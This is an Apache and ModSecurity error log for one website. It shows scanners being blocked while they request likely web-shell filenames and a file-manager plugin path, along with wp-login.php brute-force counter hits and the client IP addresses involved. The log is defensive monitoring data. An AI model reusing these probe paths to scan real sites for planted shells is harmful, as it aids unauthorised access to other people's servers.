[Fri Mar 27 04:52:05.192917 2026] [:error] [pid 63897:tid 63914] [client 72.146.33.200:65243] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "acWcdWVSkmYmLu7ycYjIVQAAAQ8"]
[Fri Mar 27 04:52:06.945181 2026] [:error] [pid 4341:tid 4354] [client 72.146.33.200:64076] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "acWcduKJWrNB5dMlERHsiQAAAYs"]
[Fri Mar 27 04:52:08.661939 2026] [:error] [pid 27743:tid 27775] [client 72.146.33.200:65342] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "acWceCA46UYYLqzw99DzQAAAAAs"]
[Fri Mar 27 04:52:09.290363 2026] [:error] [pid 63897:tid 63911] [client 72.146.33.200:62297] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws49.php"] [unique_id "acWceWVSkmYmLu7ycYjIWgAAAQw"]
[Fri Mar 27 04:52:10.039676 2026] [:error] [pid 4341:tid 4354] [client 72.146.33.200:64077] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws49.php"] [unique_id "acWceuKJWrNB5dMlERHskgAAAYs"]
[Fri Mar 27 04:52:10.684727 2026] [:error] [pid 4293:tid 4314] [client 72.146.33.200:64438] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws49.php"] [unique_id "acWcepLjeJUC3OKtEx87wwAAAVM"]
[Fri Mar 27 04:52:11.418076 2026] [:error] [pid 4293:tid 4315] [client 72.146.33.200:65267] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws49.php"] [unique_id "acWce5LjeJUC3OKtEx87xAAAAVQ"]
[Fri Mar 27 04:52:12.408462 2026] [:error] [pid 4293:tid 4295] [client 72.146.33.200:65336] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amp.php"] [unique_id "acWcfJLjeJUC3OKtEx87yAAAAUA"]
[Fri Mar 27 04:52:13.487743 2026] [:error] [pid 4293:tid 4310] [client 72.146.33.200:64799] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amp.php"] [unique_id "acWcfZLjeJUC3OKtEx870QAAAU8"]
[Fri Mar 27 04:52:14.097364 2026] [:error] [pid 4341:tid 4351] [client 72.146.33.200:64710] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amp.php"] [unique_id "acWcfuKJWrNB5dMlERHsngAAAYg"]
[Fri Mar 27 04:52:14.589433 2026] [:error] [pid 63897:tid 63922] [client 72.146.33.200:65310] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amp.php"] [unique_id "acWcfmVSkmYmLu7ycYjIawAAARc"]
[Fri Mar 27 04:52:15.092033 2026] [:error] [pid 63897:tid 63921] [client 72.146.33.200:62289] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "acWcf2VSkmYmLu7ycYjIbgAAARY"]
[Fri Mar 27 04:52:15.757905 2026] [:error] [pid 63897:tid 63902] [client 72.146.33.200:64052] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "acWcf2VSkmYmLu7ycYjIcgAAAQM"]
[Fri Mar 27 04:52:16.779471 2026] [:error] [pid 4293:tid 4303] [client 72.146.33.200:64049] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "acWcgJLjeJUC3OKtEx874QAAAUg"]
[Fri Mar 27 04:52:34.938309 2026] [:error] [pid 63897:tid 63905] [client 72.146.33.200:65326] File does not exist: /usr/local/apache/htdocs/suspended-page/a4.php
[Fri Mar 27 04:52:35.202622 2026] [:error] [pid 63897:tid 63902] [client 72.146.33.200:65326] File does not exist: /usr/local/apache/htdocs/suspended-page/ws81.php
[Fri Mar 27 04:52:35.462593 2026] [:error] [pid 63897:tid 63916] [client 72.146.33.200:65326] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Fri Mar 27 04:52:35.715012 2026] [:error] [pid 63897:tid 63919] [client 72.146.33.200:65326] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "acWck2VSkmYmLu7ycYjIwAAAARQ"]
[Fri Mar 27 04:52:43.200006 2026] [:error] [pid 27749:tid 27808] [client 72.146.33.200:63633] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "acWcm8EqyoMni2Q6_X5SXwAAAFE"]
[Fri Mar 27 04:52:46.210111 2026] [:error] [pid 63897:tid 63903] [client 72.146.33.200:65313] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "acWcnmVSkmYmLu7ycYjI6wAAAQQ"]
[Fri Mar 27 04:52:47.414863 2026] [:error] [pid 4293:tid 4313] [client 72.146.33.200:65311] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "acWcn5LjeJUC3OKtEx88EgAAAVI"]
[Fri Mar 27 04:52:48.168030 2026] [:error] [pid 4293:tid 4299] [client 72.146.33.200:62334] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "acWcoJLjeJUC3OKtEx88FQAAAUQ"]
[Fri Mar 27 04:52:48.772510 2026] [:error] [pid 4293:tid 4318] [client 72.146.33.200:65269] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "acWcoJLjeJUC3OKtEx88GQAAAVc"]
[Fri Mar 27 04:52:49.777333 2026] [:error] [pid 63897:tid 63921] [client 72.146.33.200:64759] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "acWcoWVSkmYmLu7ycYjI9gAAARY"]
[Fri Mar 27 04:52:50.829805 2026] [:error] [pid 63897:tid 63914] [client 72.146.33.200:63674] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "acWcomVSkmYmLu7ycYjI-gAAAQ8"]
[Fri Mar 27 04:52:52.604314 2026] [:error] [pid 63897:tid 63911] [client 72.146.33.200:62309] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "acWcpGVSkmYmLu7ycYjJBQAAAQw"]
[Fri Mar 27 04:52:53.709793 2026] [:error] [pid 27749:tid 27795] [client 72.146.33.200:64103] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "acWcpcEqyoMni2Q6_X5SaAAAAEQ"]
[Fri Mar 27 04:52:54.546059 2026] [:error] [pid 4341:tid 4347] [client 72.146.33.200:64747] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "acWcpuKJWrNB5dMlERHs0wAAAYQ"]
[Fri Mar 27 04:52:55.466519 2026] [:error] [pid 4341:tid 4358] [client 72.146.33.200:64767] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "acWcp-KJWrNB5dMlERHs2AAAAY8"]
[Fri Mar 27 04:52:56.146353 2026] [:error] [pid 4341:tid 4355] [client 72.146.33.200:64822] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "acWcqOKJWrNB5dMlERHs2gAAAYw"]
[Fri Mar 27 04:52:56.660433 2026] [:error] [pid 4341:tid 4364] [client 72.146.33.200:65293] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "acWcqOKJWrNB5dMlERHs3AAAAZU"]
[Fri Mar 27 04:52:57.301871 2026] [:error] [pid 4341:tid 4358] [client 72.146.33.200:64110] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "acWcqeKJWrNB5dMlERHs4wAAAY8"]
[Fri Mar 27 04:52:57.867707 2026] [:error] [pid 27750:tid 27824] [client 72.146.33.200:64422] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "acWcqYaSil5rd17ieLwprwAAAIY"]
[Fri Mar 27 04:52:58.730817 2026] [:error] [pid 63897:tid 63923] [client 72.146.33.200:65223] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "acWcqmVSkmYmLu7ycYjJGAAAARg"]
[Fri Mar 27 04:52:59.199474 2026] [:error] [pid 27750:tid 27836] [client 72.146.33.200:64393] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "acWcq4aSil5rd17ieLwpsQAAAJI"]
[Fri Mar 27 04:52:59.949710 2026] [:error] [pid 63897:tid 63910] [client 72.146.33.200:64053] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "acWcq2VSkmYmLu7ycYjJIQAAAQs"]
[Fri Mar 27 04:53:00.555893 2026] [:error] [pid 27749:tid 27809] [client 72.146.33.200:62308] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "acWcrMEqyoMni2Q6_X5ScAAAAFI"]
[Fri Mar 27 04:53:01.180344 2026] [:error] [pid 63897:tid 63919] [client 72.146.33.200:62312] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "acWcrWVSkmYmLu7ycYjJJwAAARQ"]
[Fri Mar 27 04:53:01.917617 2026] [:error] [pid 27743:tid 27778] [client 72.146.33.200:64735] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "acWcrSA46UYYLqzw99DzWwAAAA4"]
[Fri Mar 27 04:53:02.468530 2026] [:error] [pid 27851:tid 27877] [client 72.146.33.200:63703] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "acWcrnR2ccxe3RMCLbr-JwAAANM"]
[Fri Mar 27 04:53:02.961283 2026] [:error] [pid 27749:tid 27792] [client 72.146.33.200:62281] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "acWcrsEqyoMni2Q6_X5SeAAAAEE"]
[Fri Mar 27 07:19:18.726893 2026] [:error] [pid 27743:tid 27777] [client 158.158.54.101:16357] [client 158.158.54.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acW-9iA46UYYLqzw99AKYAAAAA0"]
[Fri Mar 27 07:19:19.900833 2026] [:error] [pid 4293:tid 4315] [client 158.158.54.101:8389] [client 158.158.54.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acW-95LjeJUC3OKtEx-G8QAAAVQ"]
[Fri Mar 27 07:19:20.984718 2026] [:error] [pid 27851:tid 27870] [client 158.158.54.101:21767] [client 158.158.54.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acW--HR2ccxe3RMCLbomGgAAAMw"]
[Fri Mar 27 07:19:22.039368 2026] [:error] [pid 27851:tid 27880] [client 158.158.54.101:17110] [client 158.158.54.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acW--nR2ccxe3RMCLbomHQAAANY"]
[Fri Mar 27 11:06:37.348673 2026] [:error] [pid 27749:tid 27815] [client 209.141.43.33:55326] [client 209.141.43.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.43.33, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acX0PcEqyoMni2Q6_X6WSQAAAFg"]
[Fri Mar 27 11:06:37.353530 2026] [:error] [pid 27749:tid 27815] [client 209.141.43.33:55326] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Mar 27 13:42:58.704579 2026] [:error] [pid 4341:tid 4361] [client 132.196.91.16:3459] File does not exist: /usr/local/apache/htdocs/suspended-page/3.php
[Fri Mar 27 13:42:58.895319 2026] [:error] [pid 4341:tid 4367] [client 132.196.91.16:3459] File does not exist: /usr/local/apache/htdocs/suspended-page/403.php
[Fri Mar 27 13:42:59.086349 2026] [:error] [pid 4341:tid 4360] [client 132.196.91.16:3459] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php
[Fri Mar 27 13:42:59.329604 2026] [:error] [pid 4341:tid 4344] [client 132.196.91.16:3459] File does not exist: /usr/local/apache/htdocs/suspended-page/87.php
[Fri Mar 27 13:43:00.288308 2026] [:error] [pid 4341:tid 4343] [client 132.196.91.16:3459] File does not exist: /usr/local/apache/htdocs/suspended-page/Canonical.php
[Fri Mar 27 13:43:00.860801 2026] [:error] [pid 4341:tid 4361] [client 132.196.91.16:3459] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Content/Type/index.php"] [unique_id "acYY5OKJWrNB5dMlERHkKgAAAZI"]
[Fri Mar 27 13:43:01.620693 2026] [:error] [pid 27743:tid 27772] [client 132.196.91.16:3712] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Content/Type/index.php"] [unique_id "acYY5SA46UYYLqzw99BECwAAAAg"]
[Fri Mar 27 13:43:02.386785 2026] [:error] [pid 27749:tid 27805] [client 132.196.91.16:3714] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Content/Type/index.php"] [unique_id "acYY5sEqyoMni2Q6_X6yegAAAE4"]
[Fri Mar 27 13:43:03.287566 2026] [:error] [pid 63897:tid 63909] [client 132.196.91.16:3744] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Content/Type/index.php"] [unique_id "acYY52VSkmYmLu7ycYjRhQAAAQo"]
[Fri Mar 27 14:22:04.492207 2026] [:error] [pid 27749:tid 27801] [client 107.189.2.171:29238] [client 107.189.2.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.2.171, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acYiDMEqyoMni2Q6_X65ugAAAEo"]
[Fri Mar 27 14:22:04.494904 2026] [:error] [pid 27749:tid 27801] [client 107.189.2.171:29238] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Mar 27 18:59:22.716989 2026] [:error] [pid 63897:tid 63899] [client 64.31.36.247:49227] [client 64.31.36.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.31.36.247, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acZjCmVSkmYmLu7ycYg7EgAAAQA"]
[Fri Mar 27 18:59:22.719451 2026] [:error] [pid 63897:tid 63899] [client 64.31.36.247:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Mar 27 21:22:03.125472 2026] [:error] [pid 27743:tid 27769] [client 209.141.52.183:54312] [client 209.141.52.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.52.183, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acaEeyA46UYYLqzw99ADWgAAAAU"]
[Fri Mar 27 21:22:03.130139 2026] [:error] [pid 27743:tid 27769] [client 209.141.52.183:54312] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Mar 28 07:51:05.755700 2026] [:error] [pid 43578:tid 43597] [client 20.220.9.32:27540] File does not exist: /usr/local/apache/htdocs/suspended-page/ws87.php
[Sat Mar 28 07:51:06.182415 2026] [:error] [pid 43578:tid 43590] [client 20.220.9.32:27540] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat Mar 28 07:51:06.391300 2026] [:error] [pid 43578:tid 43584] [client 20.220.9.32:27540] File does not exist: /usr/local/apache/htdocs/suspended-page/56c53.php
[Sat Mar 28 07:51:06.599550 2026] [:error] [pid 43578:tid 43594] [client 20.220.9.32:27540] File does not exist: /usr/local/apache/htdocs/suspended-page/gpt-sh.php
[Sat Mar 28 07:51:07.027875 2026] [:error] [pid 43578:tid 43603] [client 20.220.9.32:27540] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Sat Mar 28 07:51:07.611477 2026] [:error] [pid 43578:tid 43602] [client 20.220.9.32:27540] File does not exist: /usr/local/apache/htdocs/suspended-page/abrand.php
[Sat Mar 28 07:51:07.835991 2026] [:error] [pid 43578:tid 43598] [client 20.220.9.32:27540] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
